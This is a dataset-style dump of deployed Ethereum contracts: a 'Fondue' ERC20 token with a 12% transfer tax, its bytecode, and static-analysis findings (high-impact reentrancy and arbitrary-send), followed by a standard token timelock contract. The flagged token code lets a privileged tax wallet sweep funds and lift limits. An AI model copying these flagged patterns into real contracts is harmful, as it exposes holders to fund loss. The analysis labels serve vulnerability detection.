function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
uint256 constant INITIAL_TAX=12;
uint256 constant TOTAL_SUPPLY=24000000;
string constant TOKEN_SYMBOL="FONDUE";
string constant TOKEN_NAME="Fondue";
uint8 constant DECIMALS=8;
uint256 constant TAX_THRESHOLD=1000000000000000000;
contract Fondue is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function collectTax() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102b2578063d49b55d6146102d2578063dd62ed3e146102e7578063e8078d941461032d57600080fd5b806370a0823114610210578063715018a6146102465780638da5cb5b1461025b57806395d89b411461028357600080fd5b8063313ce567116100c6578063313ce567146101b35780633d8705ab146101cf5780633e07ce5b146101e65780634a131672146101fb57600080fd5b806306fdde0314610103578063095ea7b31461014457806318160ddd1461017457806323b872dd1461019357600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082019091526006815265466f6e64756560d01b60208201525b60405161013b91906110fc565b60405180910390f35b34801561015057600080fd5b5061016461015f366004611166565b610342565b604051901515815260200161013b565b34801561018057600080fd5b506005545b60405190815260200161013b565b34801561019f57600080fd5b506101646101ae366004611192565b610359565b3480156101bf57600080fd5b506040516008815260200161013b565b3480156101db57600080fd5b506101e46103c2565b005b3480156101f257600080fd5b506101e46103e6565b34801561020757600080fd5b506101e4610405565b34801561021c57600080fd5b5061018561022b3660046111d3565b6001600160a01b031660009081526002602052604090205490565b34801561025257600080fd5b506101e46106a8565b34801561026757600080fd5b506000546040516001600160a01b03909116815260200161013b565b34801561028f57600080fd5b50604080518082019091526006815265464f4e44554560d01b602082015261012e565b3480156102be57600080fd5b506101646102cd366004611166565b61071c565b3480156102de57600080fd5b506101e4610729565b3480156102f357600080fd5b506101856103023660046111f0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033957600080fd5b506101e4610759565b600061034f3384846108bc565b5060015b92915050565b60006103668484846109e0565b6103b884336103b3856040518060600160405280602881526020016113d9602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cb8565b6108bc565b5060019392505050565b6007546001600160a01b031633146103d957600080fd5b476103e381610cf2565b50565b6007546001600160a01b031633146103fd57600080fd5b600554600855565b6000546001600160a01b031633146104385760405162461bcd60e51b815260040161042f90611229565b60405180910390fd5b600a54600160a01b900460ff16156104925760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042f565b6009546005546104af9130916001600160a01b03909116906108bc565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610502573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610526919061125e565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610588573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ac919061125e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061d919061125e565b600a80546001600160a01b0319166001600160a01b0392831690811790915560095460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610684573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e3919061127b565b6000546001600160a01b031633146106d25760405162461bcd60e51b815260040161042f90611229565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034f3384846109e0565b6007546001600160a01b0316331461074057600080fd5b306000908152600260205260409020546103e381610d30565b6000546001600160a01b031633146107835760405162461bcd60e51b815260040161042f90611229565b6009546001600160a01b031663f305d71947306107b5816001600160a01b031660009081526002602052604090205490565b6000806107ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610832573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610857919061129d565b5050600a805462ff00ff60a01b19166201000160a01b17905550565b60006108b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610eaa565b9392505050565b6001600160a01b03831661091e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042f565b6001600160a01b03821661097f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042f565b6001600160a01b038216610aa65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042f565b60008111610b085760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042f565b6000546001600160a01b03848116911614801590610b3457506000546001600160a01b03838116911614155b15610c5757600a546001600160a01b038481169116148015610b6457506009546001600160a01b03838116911614155b8015610b8957506001600160a01b03821660009081526004602052604090205460ff16155b15610bdf576008548110610bdf5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161042f565b30600090815260026020526040902054600a54600160a81b900460ff16158015610c175750600a546001600160a01b03858116911614155b8015610c2c5750600a54600160b01b900460ff165b15610c5557610c3a81610d30565b47670de0b6b3a76400008110610c5357610c5347610cf2565b505b505b6001600160a01b038216600090815260046020526040902054610cb39084908490849060ff1680610ca057506001600160a01b03871660009081526004602052604090205460ff165b610cac57600654610ed8565b6000610ed8565b505050565b60008184841115610cdc5760405162461bcd60e51b815260040161042f91906110fc565b506000610ce984866112e1565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d2c573d6000803e3d6000fd5b5050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d7857610d786112f8565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df5919061125e565b81600181518110610e0857610e086112f8565b6001600160a01b039283166020918202929092010152600954610e2e91309116846108bc565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e6790859060009086903090429060040161130e565b600060405180830381600087803b158015610e8157600080fd5b505af1158015610e95573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b60008183610ecb5760405162461bcd60e51b815260040161042f91906110fc565b506000610ce9848661137f565b6000610eef6064610ee98585610fdc565b90610873565b90506000610efd848361105b565b6001600160a01b038716600090815260026020526040902054909150610f23908561105b565b6001600160a01b038088166000908152600260205260408082209390935590871681522054610f52908261109d565b6001600160a01b038616600090815260026020526040808220929092553081522054610f7e908361109d565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600082610feb57506000610353565b6000610ff783856113a1565b905082611004858361137f565b146108b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042f565b60006108b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cb8565b6000806110aa83856113c0565b9050838110156108b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042f565b600060208083528351808285015260005b818110156111295785810183015185820160400152820161110d565b8181111561113b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146103e357600080fd5b6000806040838503121561117957600080fd5b823561118481611151565b946020939093013593505050565b6000806000606084860312156111a757600080fd5b83356111b281611151565b925060208401356111c281611151565b929592945050506040919091013590565b6000602082840312156111e557600080fd5b81356108b581611151565b6000806040838503121561120357600080fd5b823561120e81611151565b9150602083013561121e81611151565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561127057600080fd5b81516108b581611151565b60006020828403121561128d57600080fd5b815180151581146108b557600080fd5b6000806000606084860312156112b257600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b6000828210156112f3576112f36112cb565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561135e5784516001600160a01b031683529383019391830191600101611339565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261139c57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156113bb576113bb6112cb565b500290565b600082198211156113d3576113d36112cb565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201df6194dadb447fafd06bfd317a2b8098146333801cfa00dff63be5cd2c879e664736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,919 |
0xcb69c51a48a3f4c132b5e122e5c6083d06e96e1f
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f0000000000000000000000002dbcf4d8275a9683be9d432782f0964e0bcafdd6905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107d7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610857565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f00000000000000000000000000000000000000000000000000000000630fa8a7905090565b60007f0000000000000000000000008433536c2c89ad2af87b591309f1d61d0cfa0bea905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610837565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107f7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6032836108b3565b915061069982610974565b604082019050919050565b60006106b16026836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a6023836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524